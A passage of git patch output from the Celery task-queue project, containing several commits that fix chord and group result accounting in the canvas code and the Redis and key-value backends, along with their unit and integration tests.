`group_id` of encapsulated tasks to the ID of the group being instantiated. However, in the specific situation of a group that is the last task in a chain which contributes to the completion of a chord, it is essential that the group ID of the top-most group is used instead. This top-most group ID is used by the redis backend to track the completions of "final elements" of a chord in the `on_chord_part_return()` implementation. By overwriting the group ID which was already set in the `options` dictionaries of the child tasks being deserialized, the chord accounting done by the redis backend would be made inaccurate and chords would never complete. This change alters how options are overridden for signatures to ensure that if a `group_id` has already been set, it cannot be overridden. Since group ID should be generally opaque to users, this should not be disruptive. --- celery/canvas.py | 23 +++++++++++++++++------ t/unit/tasks/test_canvas.py | 25 ++++++++++++++++++++++++- 2 files changed, 41 insertions(+), 7 deletions(-) diff --git a/celery/canvas.py b/celery/canvas.py index 866c1c888b2..f767de1ce0a 100644 --- a/celery/canvas.py +++ b/celery/canvas.py @@ -122,6 +122,9 @@ class Signature(dict): TYPES = {} _app = _type = None + # The following fields must not be changed during freezing/merging because + # to do so would disrupt completion of parent tasks + _IMMUTABLE_OPTIONS = {"group_id"} @classmethod def register_type(cls, name=None): @@ -224,14 +227,22 @@ def apply_async(self, args=None, kwargs=None, route_name=None, **options): def _merge(self, args=None, kwargs=None, options=None, force=False): args = args if args else () kwargs = kwargs if kwargs else {} - options = options if options else {} + if options is not None: + # We build a new options dictionary where values in `options` + # override values in `self.options` except for keys which are + # noted as being immutable (unrelated to signature immutability) + # implying that allowing their value to change would stall tasks + new_options = dict(self.options, **{ + k: v for k, v in options.items() + if k not in self._IMMUTABLE_OPTIONS or k not in self.options + }) + else: + new_options = self.options if self.immutable and not force: - return (self.args, self.kwargs, - dict(self.options, - **options) if options else self.options) + return (self.args, self.kwargs, new_options) return (tuple(args) + tuple(self.args) if args else self.args, dict(self.kwargs, **kwargs) if kwargs else self.kwargs, - dict(self.options, **options) if options else self.options) + new_options) def clone(self, args=None, kwargs=None, **opts): """Create a copy of this signature. @@ -286,7 +297,7 @@ def freeze(self, _id=None, group_id=None, chord=None, opts['parent_id'] = parent_id if 'reply_to' not in opts: opts['reply_to'] = self.app.oid - if group_id: + if group_id and "group_id" not in opts: opts['group_id'] = group_id if chord: opts['chord'] = chord diff --git a/t/unit/tasks/test_canvas.py b/t/unit/tasks/test_canvas.py index c15dec83d60..b90321572f3 100644 --- a/t/unit/tasks/test_canvas.py +++ b/t/unit/tasks/test_canvas.py @@ -1,5 +1,5 @@ import json -from unittest.mock import MagicMock, Mock, patch +from unittest.mock import MagicMock, Mock, patch, sentinel import pytest @@ -154,6 +154,29 @@ def test_merge_immutable(self): assert kwargs == {'foo': 1} assert options == {'task_id': 3} + def test_merge_options__none(self): + sig = self.add.si() + _, _, new_options = sig._merge() + assert new_options is sig.options + _, _, new_options = sig._merge(options=None) + assert new_options is sig.options + + @pytest.mark.parametrize("immutable_sig", (True, False)) + def test_merge_options__group_id(self, immutable_sig): + # This is to avoid testing the behaviour in `test_set_immutable()` + if immutable_sig: + sig = self.add.si() + else: + sig = self.add.s() + # If the signature has no group ID, it can be set + assert not sig.options + _, _, new_options = sig._merge(options={"group_id": sentinel.gid}) + assert new_options == {"group_id": sentinel.gid} + # But if one is already set, the new one is silently ignored + sig.set(group_id=sentinel.old_gid) + _, _, new_options = sig._merge(options={"group_id": sentinel.new_gid}) + assert new_options == {"group_id": sentinel.old_gid} + def test_set_immutable(self): x = self.add.s(2, 2) assert not x.immutable From a7af4b28c4151fde2de70802a0ba2b10efc836d8 Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Fri, 18 Sep 2020 14:38:46 +1000 Subject: [PATCH 027/415] fix: Count chord "final elements" correctly This change amends the implementation of `chord.__length_hint__()` to ensure that all child task types are correctly counted. Specifically: * all sub-tasks of a group are counted recursively * the final task of a chain is counted recursively * the body of a chord is counted recursively * all other simple signatures count as a single "final element" There is also a deserialisation step if a `dict` is seen while counting the final elements in a chord, however this should become less important with the merge of #6342 which ensures that tasks are recursively deserialized by `.from_dict()`. --- celery/canvas.py | 35 ++++--- t/integration/test_canvas.py | 22 +++++ t/unit/tasks/test_canvas.py | 181 +++++++++++++++++++++++++++++++++-- 3 files changed, 218 insertions(+), 20 deletions(-) diff --git a/celery/canvas.py b/celery/canvas.py index f767de1ce0a..2150d0e872d 100644 --- a/celery/canvas.py +++ b/celery/canvas.py @@ -1383,21 +1383,30 @@ def apply(self, args=None, kwargs=None, args=(tasks.apply(args, kwargs).get(propagate=propagate),), ) - def _traverse_tasks(self, tasks, value=None): - stack = deque(tasks) - while stack: - task = stack.popleft() - if isinstance(task, group): - stack.extend(task.tasks) - elif isinstance(task, _chain) and isinstance(task.tasks[-1], group): - stack.extend(task.tasks[-1].tasks) - else: - yield task if value is None else value + @classmethod + def __descend(cls, sig_obj): + # Sometimes serialized signatures might make their way here + if not isinstance(sig_obj, Signature) and isinstance(sig_obj, dict): + sig_obj = Signature.from_dict(sig_obj) + if isinstance(sig_obj, group): + # Each task in a group counts toward this chord + subtasks = getattr(sig_obj.tasks, "tasks", sig_obj.tasks) + return sum(cls.__descend(task) for task in subtasks) + elif isinstance(sig_obj, _chain): + # The last element in a chain counts toward this chord + return cls.__descend(sig_obj.tasks[-1]) + elif isinstance(sig_obj, chord): + # The child chord's body counts toward this chord + return cls.__descend(sig_obj.body) + elif isinstance(sig_obj, Signature): + # Each simple signature counts as 1 completion for this chord + return 1 + # Any other types are assumed to be iterables of simple signatures + return len(sig_obj) def __length_hint__(self): - tasks = (self.tasks.tasks if isinstance(self.tasks, group) - else self.tasks) - return sum(self._traverse_tasks(tasks, 1)) + tasks = getattr(self.tasks, "tasks", self.tasks) + return sum(self.__descend(task) for task in tasks) def run(self, header, body, partial_args, app=None, interval=None, countdown=1, max_retries=None, eager=False, diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index 6b1f316b03e..c7e00b196a7 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -1009,3 +1009,25 @@ def test_priority_chain(self, manager): c = return_priority.signature(priority=3) | return_priority.signature( priority=5) assert c().get(timeout=TIMEOUT) == "Priority: 5" + + def test_nested_chord_group_chain_group_tail(self, manager): + """ + Sanity check that a deeply nested group is completed as expected. + + Groups at the end of chains nested in chords have had issues and this + simple test sanity check that such a tsk structure can be completed. + """ + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + sig = chord(group(chain( + identity.s(42), # -> 42 + group( + identity.s(), # -> 42 + identity.s(), # -> 42 + ), # [42, 42] + )), identity.s()) # [[42, 42]] + res = sig.delay() + assert res.get(timeout=TIMEOUT) == [[42, 42]] diff --git a/t/unit/tasks/test_canvas.py b/t/unit/tasks/test_canvas.py index b90321572f3..f51efab9389 100644 --- a/t/unit/tasks/test_canvas.py +++ b/t/unit/tasks/test_canvas.py @@ -1,5 +1,5 @@ import json -from unittest.mock import MagicMock, Mock, patch, sentinel +from unittest.mock import MagicMock, Mock, call, patch, sentinel import pytest @@ -808,12 +808,179 @@ def test_app_fallback_to_current(self): x = chord([t1], body=t1) assert x.app is current_app - def test_chord_size_with_groups(self): - x = chord([ - self.add.s(2, 2) | group([self.add.si(2, 2), self.add.si(2, 2)]), - self.add.s(2, 2) | group([self.add.si(2, 2), self.add.si(2, 2)]), - ], body=self.add.si(2, 2)) - assert x.__length_hint__() == 4 + def test_chord_size_simple(self): + sig = chord(self.add.s()) + assert sig.__length_hint__() == 1 + + def test_chord_size_with_body(self): + sig = chord(self.add.s(), self.add.s()) + assert sig.__length_hint__() == 1 + + def test_chord_size_explicit_group_single(self): + sig = chord(group(self.add.s())) + assert sig.__length_hint__() == 1 + + def test_chord_size_explicit_group_many(self): + sig = chord(group([self.add.s()] * 42)) + assert sig.__length_hint__() == 42 + + def test_chord_size_implicit_group_single(self): + sig = chord([self.add.s()]) + assert sig.__length_hint__() == 1 + + def test_chord_size_implicit_group_many(self): + sig = chord([self.add.s()] * 42) + assert sig.__length_hint__() == 42 + + def test_chord_size_chain_single(self): + sig = chord(chain(self.add.s())) + assert sig.__length_hint__() == 1 + + def test_chord_size_chain_many(self): + # Chains get flattened into the encapsulating chord so even though the + # chain would only count for 1, the tasks we pulled into the chord's + # header and are counted as a bunch of simple signature objects + sig = chord(chain([self.add.s()] * 42)) + assert sig.__length_hint__() == 42 + + def test_chord_size_nested_chain_chain_single(self): + sig = chord(chain(chain(self.add.s()))) + assert sig.__length_hint__() == 1 + + def test_chord_size_nested_chain_chain_many(self): + # The outer chain will be pulled up into the chord but the lower one + # remains and will only count as a single final element + sig = chord(chain(chain([self.add.s()] * 42))) + assert sig.__length_hint__() == 1 + + def test_chord_size_implicit_chain_single(self): + sig = chord([self.add.s()]) + assert sig.__length_hint__() == 1 + + def test_chord_size_implicit_chain_many(self): + # This isn't a chain object so the `tasks` attribute can't be lifted + # into the chord - this isn't actually valid and would blow up we tried + # to run it but it sanity checks our recursion + sig = chord([[self.add.s()] * 42]) + assert sig.__length_hint__() == 1 + + def test_chord_size_nested_implicit_chain_chain_single(self): + sig = chord([chain(self.add.s())]) + assert sig.__length_hint__() == 1 + + def test_chord_size_nested_implicit_chain_chain_many(self): + sig = chord([chain([self.add.s()] * 42)]) + assert sig.__length_hint__() == 1 + + def test_chord_size_nested_chord_body_simple(self): + sig = chord(chord(tuple(), self.add.s())) + assert sig.__length_hint__() == 1 + + def test_chord_size_nested_chord_body_implicit_group_single(self): + sig = chord(chord(tuple(), [self.add.s()])) + assert sig.__length_hint__() == 1 + + def test_chord_size_nested_chord_body_implicit_group_many(self): + sig = chord(chord(tuple(), [self.add.s()] * 42)) + assert sig.__length_hint__() == 42 + + # Nested groups in a chain only affect the chord size if they are the last + # element in the chain - in that case each group element is counted + def test_chord_size_nested_group_chain_group_head_single(self): + x = chord( + group( + [group(self.add.s()) | self.add.s()] * 42 + ), + body=self.add.s() + ) + assert x.__length_hint__() == 42 + + def test_chord_size_nested_group_chain_group_head_many(self): + x = chord( + group( + [group([self.add.s()] * 4) | self.add.s()] * 2 + ), + body=self.add.s() + ) + assert x.__length_hint__() == 2 + + def test_chord_size_nested_group_chain_group_mid_single(self): + x = chord( + group( + [self.add.s() | group(self.add.s()) | self.add.s()] * 42 + ), + body=self.add.s() + ) + assert x.__length_hint__() == 42 + + def test_chord_size_nested_group_chain_group_mid_many(self): + x = chord( + group( + [self.add.s() | group([self.add.s()] * 4) | self.add.s()] * 2 + ), + body=self.add.s() + ) + assert x.__length_hint__() == 2 + + def test_chord_size_nested_group_chain_group_tail_single(self): + x = chord( + group( + [self.add.s() | group(self.add.s())] * 42 + ), + body=self.add.s() + ) + assert x.__length_hint__() == 42 + + def test_chord_size_nested_group_chain_group_tail_many(self): + x = chord( + group( + [self.add.s() | group([self.add.s()] * 4)] * 2 + ), + body=self.add.s() + ) + assert x.__length_hint__() == 4 * 2 + + def test_chord_size_nested_implicit_group_chain_group_tail_single(self): + x = chord( + [self.add.s() | group(self.add.s())] * 42, + body=self.add.s() + ) + assert x.__length_hint__() == 42 + + def test_chord_size_nested_implicit_group_chain_group_tail_many(self): + x = chord( + [self.add.s() | group([self.add.s()] * 4)] * 2, + body=self.add.s() + ) + assert x.__length_hint__() == 4 * 2 + + def test_chord_size_deserialized_element_single(self): + child_sig = self.add.s() + deserialized_child_sig = json.loads(json.dumps(child_sig)) + # We have to break in to be sure that a child remains as a `dict` so we + # can confirm that the length hint will instantiate a `Signature` + # object and then descend as expected + chord_sig = chord(tuple()) + chord_sig.tasks = [deserialized_child_sig] + with patch( + "celery.canvas.Signature.from_dict", return_value=child_sig + ) as mock_from_dict: + assert chord_sig. __length_hint__() == 1 + mock_from_dict.assert_called_once_with(deserialized_child_sig) + + def test_chord_size_deserialized_element_many(self): + child_sig = self.add.s() + deserialized_child_sig = json.loads(json.dumps(child_sig)) + # We have to break in to be sure that a child remains as a `dict` so we + # can confirm that the length hint will instantiate a `Signature` + # object and then descend as expected + chord_sig = chord(tuple()) + chord_sig.tasks = [deserialized_child_sig] * 42 + with patch( + "celery.canvas.Signature.from_dict", return_value=child_sig + ) as mock_from_dict: + assert chord_sig. __length_hint__() == 42 + mock_from_dict.assert_has_calls([call(deserialized_child_sig)] * 42) def test_set_immutable(self): x = chord([Mock(name='t1'), Mock(name='t2')], app=self.app) From 53e032d28c504a0beda4a497c22f41bce5090594 Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Tue, 13 Oct 2020 16:37:53 +1100 Subject: [PATCH 028/415] test: Add more integration tests for groups These tests are intended to show that group unrolling should be respected in various ways by all backends. They should make it more clear what behaviour we should be expecting from nested canvas components and ensure that all the implementations (mostly relevant to chords and `on_chord_part_return()` code) behave sensibly. --- t/integration/test_canvas.py | 73 +++++++++++++++++++++++++++++++++--- 1 file changed, 67 insertions(+), 6 deletions(-) diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index c7e00b196a7..96b112af8f9 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -423,6 +423,34 @@ def test_nested_chain_group_lone(self, manager): res = sig.delay() assert res.get(timeout=TIMEOUT) == [42, 42] + def test_nested_chain_group_mid(self, manager): + """ + Test that a mid-point group in a chain completes. + """ + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + sig = chain( + identity.s(42), # 42 + group(identity.s(), identity.s()), # [42, 42] + identity.s(), # [42, 42] + ) + res = sig.delay() + assert res.get(timeout=TIMEOUT) == [42, 42] + + def test_nested_chain_group_last(self, manager): + """ + Test that a final group in a chain with preceding tasks completes. + """ + sig = chain( + identity.s(42), # 42 + group(identity.s(), identity.s()), # [42, 42] + ) + res = sig.delay() + assert res.get(timeout=TIMEOUT) == [42, 42] + class test_result_set: @@ -522,6 +550,16 @@ def test_group_lone(self, manager): res = sig.delay() assert res.get(timeout=TIMEOUT) == [42, 42] + def test_nested_group_group(self, manager): + """ + Confirm that groups nested inside groups get unrolled. + """ + sig = group( + group(identity.s(42), identity.s(42)), # [42, 42] + ) # [42, 42] due to unrolling + res = sig.delay() + assert res.get(timeout=TIMEOUT) == [42, 42] + def assert_ids(r, expected_value, expected_root_id, expected_parent_id): root_id, parent_id, value = r.get(timeout=TIMEOUT) @@ -1010,6 +1048,24 @@ def test_priority_chain(self, manager): priority=5) assert c().get(timeout=TIMEOUT) == "Priority: 5" + def test_nested_chord_group(self, manager): + """ + Confirm that groups nested inside chords get unrolled. + """ + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + + sig = chord( + ( + group(identity.s(42), identity.s(42)), # [42, 42] + ), + identity.s() # [42, 42] + ) + res = sig.delay() + assert res.get(timeout=TIMEOUT) == [42, 42] + def test_nested_chord_group_chain_group_tail(self, manager): """ Sanity check that a deeply nested group is completed as expected. @@ -1022,12 +1078,17 @@ def test_nested_chord_group_chain_group_tail(self, manager): except NotImplementedError as e: raise pytest.skip(e.args[0]) - sig = chord(group(chain( - identity.s(42), # -> 42 + sig = chord( group( - identity.s(), # -> 42 - identity.s(), # -> 42 - ), # [42, 42] - )), identity.s()) # [[42, 42]] + chain( + identity.s(42), # 42 + group( + identity.s(), # 42 + identity.s(), # 42 + ), # [42, 42] + ), # [42, 42] + ), # [[42, 42]] since the chain prevents unrolling + identity.s(), # [[42, 42]] + ) res = sig.delay() assert res.get(timeout=TIMEOUT) == [[42, 42]] From ea2a803d57524db1edf0ecf81164e3c61fc8935b Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Tue, 13 Oct 2020 16:44:13 +1100 Subject: [PATCH 029/415] test: Fix old markings for chord tests --- t/integration/test_canvas.py | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index 96b112af8f9..690acef352c 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -1,4 +1,3 @@ -import os from datetime import datetime, timedelta from time import sleep @@ -6,7 +5,7 @@ from celery import chain, chord, group, signature from celery.backends.base import BaseKeyValueStoreBackend -from celery.exceptions import ChordError, TimeoutError +from celery.exceptions import TimeoutError from celery.result import AsyncResult, GroupResult, ResultSet from .conftest import get_active_redis_channels, get_redis_connection @@ -691,10 +690,12 @@ def test_eager_chord_inside_task(self, manager): chord_add.app.conf.task_always_eager = prev - @flaky def test_group_chain(self, manager): - if not manager.app.conf.result_backend.startswith('redis'): - raise pytest.skip('Requires redis result backend.') + try: + manager.app.backend.ensure_chords_allowed() + except NotImplementedError as e: + raise pytest.skip(e.args[0]) + c = ( add.s(2, 2) | group(add.s(i) for i in range(4)) | @@ -703,11 +704,6 @@ def test_group_chain(self, manager): res = c() assert res.get(timeout=TIMEOUT) == [12, 13, 14, 15] - @flaky - @pytest.mark.xfail(os.environ['TEST_BACKEND'] == 'cache+pylibmc://', - reason="Not supported yet by the cache backend.", - strict=True, - raises=ChordError) def test_nested_group_chain(self, manager): try: manager.app.backend.ensure_chords_allowed() From 62f37133c8681584ae6f7b3499551b52ab369ea2 Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Tue, 13 Oct 2020 16:23:44 +1100 Subject: [PATCH 030/415] fix: Make KV-store backends respect chord size This avoids an issue where the `on_chord_part_return()` implementation would check the the length of the result of a chain ending in a nested group. This would manifest in behaviour where a worker would be blocked waiting for for the result object it holds to complete since it would attempt to `.join()` the result object. In situations with plenty of workers, this wouldn't really cause any noticable issue apart from some latency or unpredictable failures - but in concurrency constrained situations like the integrations tests, it causes deadlocks. We know from previous commits in this series that chord completion is more complex than just waiting for a direct child, so we correct the `size` value in `BaseKeyValueStoreBackend.on_chord_part_return()` to respect the `chord_size` value from the request, falling back to the length of the `deps` if that value is missing for some reason (this is necessary to keep a number of the tests happy but it's not clear to me if that will ever be the case in real life situations). --- celery/backends/base.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/celery/backends/base.py b/celery/backends/base.py index 28e5b2a4d6b..74fce23c3c4 100644 --- a/celery/backends/base.py +++ b/celery/backends/base.py @@ -919,7 +919,11 @@ def on_chord_part_return(self, request, state, result, **kwargs): ChordError(f'GroupResult {gid} no longer exists'), ) val = self.incr(key) - size = len(deps) + # Set the chord size to the value defined in the request, or fall back + # to the number of dependencies we can see from the restored result + size = request.chord.get("chord_size") + if size is None: + size = len(deps) if val > size: # pragma: no cover logger.warning('Chord counter incremented too many times for %r', gid) From beddbeef16f76b72cbfe89e7fd1a1375f7305dfa Mon Sep 17 00:00:00 2001 From: maybe-sybr <58414429+maybe-sybr@users.noreply.github.com> Date: Wed, 14 Oct 2020 10:39:19 +1100 Subject: [PATCH 031/415] fix: Retain chord header result structure in Redis This change fixes the chord result flattening issue which manifested when using the Redis backend due to its deliberate throwing away of information about the header result structure. Rather than assuming that all results which contribute to the finalisation of a chord should be siblings, this change checks if any are complex (ie. `GroupResult`s) and falls back to behaviour similar to that implemented in the `KeyValueStoreBackend` which restores the original `GroupResult` object and `join()`s it. We retain the original behaviour which is billed as an optimisation in f09b041. We could behave better in the complex header result case by not bothering to stash the results of contributing tasks under the `.j` zset since we won't be using them, but without checking for the presence of the complex group result on every `on_chord_part_return()` call, we can't be sure that we won't need those stashed results later on. This would be an opportunity for optimisation in future if we were to use an `EVAL` to only do the `zadd()` if the group result key doesn't exist. However, avoiding the result encoding work in `on_chord_part_return()` would be more complicated. For now, it's not worth the brainpower. This change also slightly refactors the redis backend unit tests to make it easier to build fixtures and hit both the complex and simple result structure cases. --- celery/backends/redis.py | 65 ++++++++---- t/integration/test_canvas.py | 13 ++- t/unit/backends/test_redis.py | 193 ++++++++++++++++++++++++---------- 3 files changed, 194 insertions(+), 77 deletions(-) diff --git a/celery/backends/redis.py b/celery/backends/redis.py index 2c428823538..dd3677f569c 100644 --- a/celery/backends/redis.py +++ b/celery/backends/redis.py @@ -13,6 +13,7 @@ from celery._state import task_join_will_block from celery.canvas import maybe_signature from celery.exceptions import ChordError, ImproperlyConfigured +from celery.result import GroupResult, allow_join_result from celery.utils.functional import dictfilter from celery.utils.log import get_logger from celery.utils.time import humanize_seconds @@ -401,12 +402,14 @@ def _unpack_chord_result(self, tup, decode, return retval def apply_chord(self, header_result, body, **kwargs): - # Overrides this to avoid calling GroupResult.save - # pylint: disable=method-hidden - # Note that KeyValueStoreBackend.__init__ sets self.apply_chord - # if the implements_incr attr is set. Redis backend doesn't set - # this flag. - pass + # If any of the child results of this chord are complex (ie. group + # results themselves), we need to save `header_result` to ensure that + # the expected structure is retained when we finish the chord and pass + # the results onward to the body in `on_chord_part_return()`. We don't + # do this is all cases to retain an optimisation in the common case + # where a chord header is comprised of simple result objects. + if any(isinstance(nr, GroupResult) for nr in header_result.results): + header_result.save(backend=self) @cached_property def _chord_zset(self): @@ -449,20 +452,38 @@ def on_chord_part_return(self, request, state, result, callback = maybe_signature(request.chord, app=app) total = callback['chord_size'] + totaldiff if readycount == total: - decode, unpack = self.decode, self._unpack_chord_result - with client.pipeline() as pipe: - if self._chord_zset: - pipeline = pipe.zrange(jkey, 0, -1) - else: - pipeline = pipe.lrange(jkey, 0, total) - resl, = pipeline.execute() - try: - callback.delay([unpack(tup, decode) for tup in resl]) + header_result = GroupResult.restore(gid) + if header_result is not None: + # If we manage to restore a `GroupResult`, then it must + # have been complex and saved by `apply_chord()` earlier. + # + # Before we can join the `GroupResult`, it needs to be + # manually marked as ready to avoid blocking + header_result.on_ready() + # We'll `join()` it to get the results and ensure they are + # structured as intended rather than the flattened version + # we'd construct without any other information. + join_func = ( + header_result.join_native + if header_result.supports_native_join + else header_result.join + ) + with allow_join_result(): + resl = join_func(timeout=3.0, propagate=True) + else: + # Otherwise simply extract and decode the results we + # stashed along the way, which should be faster for large + # numbers of simple results in the chord header. + decode, unpack = self.decode, self._unpack_chord_result with client.pipeline() as pipe: - _, _ = pipe \ - .delete(jkey) \ - .delete(tkey) \ - .execute() + if self._chord_zset: + pipeline = pipe.zrange(jkey, 0, -1) + else: + pipeline = pipe.lrange(jkey, 0, total) + resl, = pipeline.execute() + resl = [unpack(tup, decode) for tup in resl] + try: + callback.delay(resl) except Exception as exc: # pylint: disable=broad-except logger.exception( 'Chord callback for %r raised: %r', request.group, exc) @@ -470,6 +491,12 @@ def on_chord_part_return(self, request, state, result, callback, ChordError(f'Callback error: {exc!r}'), ) + finally: + with client.pipeline() as pipe: + _, _ = pipe \ + .delete(jkey) \ + .delete(tkey) \ + .execute() except ChordError as exc: logger.exception('Chord %r raised: %r', request.group, exc) return self.chord_error_from_stack(callback, exc) diff --git a/t/integration/test_canvas.py b/t/integration/test_canvas.py index 690acef352c..256ecdbd9ee 100644 --- a/t/integration/test_canvas.py +++ b/t/integration/test_canvas.py @@ -1,3 +1,4 @@ +import re from datetime import datetime, timedelta from time import sleep @@ -892,9 +893,15 @@ def test_chord_on_error(self, manager): # So for clarity of our test, we instead do it here. # Use the error callback's result to find the failed task. - error_callback_result = AsyncResult( - res.children[0].children[0].result[0]) - failed_task_id = error_callback_result.result.args[0].split()[3] + uuid_patt = re.compile( + r"[0-9A-Fa-f]{8}-([0-9A-Fa-f]{4}-){3}[0-9A-Fa-f]{12}" + ) + callback_chord_exc = AsyncResult( + res.children[0].children[0].result[0] + ).result + failed_task_id = uuid_patt.search(str(callback_chord_exc)) + assert (failed_task_id is not None), "No task ID in %r" % callback_exc + failed_task_id = failed_task_id.group() # Use new group_id result metadata to get group ID. failed_task_result = AsyncResult(failed_task_id) diff --git a/t/unit/backends/test_redis.py b/t/unit/backends/test_redis.py index 2029edc3c29..f534077a4fd 100644 --- a/t/unit/backends/test_redis.py +++ b/t/unit/backends/test_redis.py @@ -1,3 +1,4 @@ +import itertools import json import random import ssl @@ -274,7 +275,7 @@ def test_drain_events_connection_error(self, parent_on_state_change, cancel_for) assert consumer._pubsub._subscribed_to == {b'celery-task-meta-initial'} -class test_RedisBackend: +class basetest_RedisBackend: def get_backend(self): from celery.backends.redis import RedisBackend @@ -287,11 +288,42 @@ def get_E_LOST(self): from celery.backends.redis import E_LOST return E_LOST + def create_task(self, i, group_id="group_id"): + tid = uuid() + task = Mock(name=f'task-{tid}') + task.name = 'foobarbaz' + self.app.tasks['foobarbaz'] = task + task.request.chord = signature(task) + task.request.id = tid + task.request.chord['chord_size'] = 10 + task.request.group = group_id + task.request.group_index = i + return task + + @contextmanager + def chord_context(self, size=1): + with patch('celery.backends.redis.maybe_signature') as ms: + request = Mock(name='request') + request.id = 'id1' + request.group = 'gid1' + request.group_index = None + tasks = [ + self.create_task(i, group_id=request.group) + for i in range(size) + ] + callback = ms.return_value = Signature('add') + callback.id = 'id1' + callback['chord_size'] = size + callback.delay = Mock(name='callback.delay') + yield tasks, request, callback + def setup(self): self.Backend = self.get_backend() self.E_LOST = self.get_E_LOST() self.b = self.Backend(app=self.app) + +class test_RedisBackend(basetest_RedisBackend): @pytest.mark.usefixtures('depends_on_current_app') def test_reduce(self): pytest.importorskip('redis') @@ -623,20 +655,36 @@ def test_set_no_expire(self): self.b.expires = None self.b._set_with_state('foo', 'bar', states.SUCCESS) - def create_task(self, i): + def test_process_cleanup(self): + self.b.process_cleanup() + + def test_get_set_forget(self): tid = uuid() - task = Mock(name=f'task-{tid}') - task.name = 'foobarbaz' - self.app.tasks['foobarbaz'] = task - task.request.chord = signature(task) - task.request.id = tid - task.request.chord['chord_size'] = 10 - task.request.group = 'group_id' - task.request.group_index = i - return task + self.b.store_result(tid, 42, states.SUCCESS) + assert self.b.get_state(tid) == states.SUCCESS + assert self.b.get_result(tid) == 42 + self.b.forget(tid) + assert self.b.get_state(tid) == states.PENDING - @patch('celery.result.GroupResult.restore') - def test_on_chord_part_return(self, restore): + def test_set_expires(self): + self.b = self.Backend(expires=512, app=self.app) + tid = uuid() + key = self.b.get_key_for_task(tid) + self.b.store_result(tid, 42, states.SUCCESS) + self.b.client.expire.assert_called_with( + key, 512, + ) + + +class test_RedisBackend_chords_simple(basetest_RedisBackend): + @pytest.fixture(scope="class", autouse=True) + def simple_header_result(self): + with patch( + "celery.result.GroupResult.restore", return_value=None, + ) as p: + yield p + + def test_on_chord_part_return(self): tasks = [self.create_task(i) for i in range(10)] random.shuffle(tasks) @@ -652,8 +700,7 @@ def test_on_chord_part_return(self, restore): call(jkey, 86400), call(tkey, 86400), ]) - @patch('celery.result.GroupResult.restore') - def test_on_chord_part_return__unordered(self, restore): + def test_on_chord_part_return__unordered(self): self.app.conf.result_backend_transport_options = dict( result_chord_ordered=False, ) @@ -673,8 +720,7 @@ def test_on_chord_part_return__unordered(self, restore): call(jkey, 86400), call(tkey, 86400), ]) - @patch('celery.result.GroupResult.restore') - def test_on_chord_part_return__ordered(self, restore): + def test_on_chord_part_return__ordered(self): self.app.conf.result_backend_transport_options = dict( result_chord_ordered=True, ) @@ -694,8 +740,7 @@ def test_on_chord_part_return__ordered(self, restore): call(jkey, 86400), call(tkey, 86400), ]) - @patch('celery.result.GroupResult.restore') - def test_on_chord_part_return_no_expiry(self, restore): + def test_on_chord_part_return_no_expiry(self): old_expires = self.b.expires self.b.expires = None tasks = [self.create_task(i) for i in range(10)] @@ -712,8 +757,7 @@ def test_on_chord_part_return_no_expiry(self, restore): self.b.expires = old_expires - @patch('celery.result.GroupResult.restore') - def test_on_chord_part_return_expire_set_to_zero(self, restore): + def test_on_chord_part_return_expire_set_to_zero(self): old_expires = self.b.expires self.b.expires = 0 tasks = [self.create_task(i) for i in range(10)] @@ -730,8 +774,7 @@ def test_on_chord_part_return_expire_set_to_zero(self, restore): self.b.expires = old_expires - @patch('celery.result.GroupResult.restore') - def test_on_chord_part_return_no_expiry__unordered(self, restore): + def test_on_chord_part_return_no_expiry__unordered(self): self.app.conf.result_backend_transport_options = dict( result_chord_ordered=False, ) @@ -752,8 +795,7 @@ def test_on_chord_part_return_no_expiry__unordered(self, restore): self.b.expires = old_expires - @patch('celery.result.GroupResult.restore') - def test_on_chord_part_return_no_expiry__ordered(self, restore): + def test_on_chord_part_return_no_expiry__ordered(self): self.app.conf.result_backend_transport_options = dict( result_chord_ordered=True, ) @@ -926,39 +968,80 @@ def test_on_chord_part_return__other_error__ordered(self): callback.id, exc=ANY, ) - @contextmanager - def chord_context(self, size=1): - with patch('celery.backends.redis.maybe_signature') as ms: - tasks = [self.create_task(i) for i in range(size)] - request = Mock(name='request') - request.id = 'id1' - request.group = 'gid1' - request.group_index = None - callback = ms.return_value = Signature('add') - callback.id = 'id1' - callback['chord_size'] = size - callback.delay = Mock(name='callback.delay') - yield tasks, request, callback - def test_process_cleanup(self): - self.b.process_cleanup() +class test_RedisBackend_chords_complex(basetest_RedisBackend): + @pytest.fixture(scope="function", autouse=True) + def complex_header_result(self): + with patch("celery.result.GroupResult.restore") as p: + yield p + + def test_apply_chord_complex_header(self): + mock_header_result = Mock() + # No results in the header at all - won't call `save()` + mock_header_result.results = tuple() + self.b.apply_chord(mock_header_result, None) + mock_header_result.save.assert_not_called() + mock_header_result.save.reset_mock() + # A single simple result in the header - won't call `save()` + mock_header_result.results = (self.app.AsyncResult("foo"), ) + self.b.apply_chord(mock_header_result, None) + mock_header_result.save.assert_not_called() + mock_header_result.save.reset_mock() + # Many simple results in the header - won't call `save()` + mock_header_result.results = (self.app.AsyncResult("foo"), ) * 42 + self.b.apply_chord(mock_header_result, None) + mock_header_result.save.assert_not_called() + mock_header_result.save.reset_mock() + # A single complex result in the header - will call `save()` + mock_header_result.results = (self.app.GroupResult("foo"), ) + self.b.apply_chord(mock_header_result, None) + mock_header_result.save.assert_called_once_with(backend=self.b) + mock_header_result.save.reset_mock() + # Many complex results 